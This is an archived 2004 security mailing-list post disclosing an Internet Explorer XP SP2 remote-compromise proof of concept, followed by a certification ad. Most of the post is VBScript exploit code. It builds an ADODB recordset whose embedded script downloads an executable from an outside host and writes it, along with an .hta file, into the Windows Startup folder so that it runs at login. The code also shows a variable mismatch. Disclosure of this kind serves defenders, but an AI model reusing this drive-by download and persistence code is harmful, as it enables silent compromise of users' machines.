From: Michael Evanchik (MikeMICHAELEVANCHIK.COM)
Date: Mon Dec 27 2004 - 16:52:02 CST

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

sorry there was a bug in the code. I just fixed it now should work on everyone
  ----- Original Message -----
  From: Michael Evanchik
  To: NTBUGTRAQLISTSERV.NTBUGTRAQ.COM ; vulnwatchvulnwatch.org ; Exploitsk-otik.com ; Vulnk-otik.com ; send-us-news-tipscnet.com
  Cc: tksecunia.com ; supportsecunia.com ; securemicrosoft.com
  Sent: Monday, December 27, 2004 1:53 AM
  Subject: Re: YET AGAIN Automatic remote compromise of Internet Explorer Service Pack 2 XP SP2

  PoC: http://www.michaelevanchik.com/security/microsoft/ie/xss/index.html

  Here is some new adodb code AVP's should add. No longer needed to connect to external source. Malicious recordset can be built locally.

  on error resume next
  set evanchik = CreateObject("ADODB.Recordset")
     With objRS
         .Fields.Append "evanchik", 200, "3000"
         Call .Open
         Call .AddNew
         .Fields("evanchik").Value = "meaning less shit i had to put here"
         Call .AddNew
         .Fields("evanchik").Value = "<script language=vbscript>: on error resume next : set o = CreateObject(""msxml2.XMLHTTP"") : o.open ""GET"",""http://hometown.aol.com/mcbain/calc.exe"",False : o.send : set s = createobject(""adodb.stream"") : s.type=1 : s.open : s.write o.responseBody : s.savetofile ""C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RealAudio.exe"",2 : </script>"
         Call .Update
     End With
  evanchik.Save "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Microsoft Office.hta", adPersistXML

  evanchik.Close

--
Editor's Note: The 43rd Most Powerful Person in Networking says...

Register today to take the TruSecure ICSA exam by 12/31/04 at
<http://www.2test.com> , use promo code "CT1204" and you will pay just
$221.25 US Dollars for domestic exam delivery and $296.25 US Dollars
for international delivery.

Visit <https://ticsa.trusecure.com> for complete details regarding the
TICSA credential and to take the free sample exam.

--

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]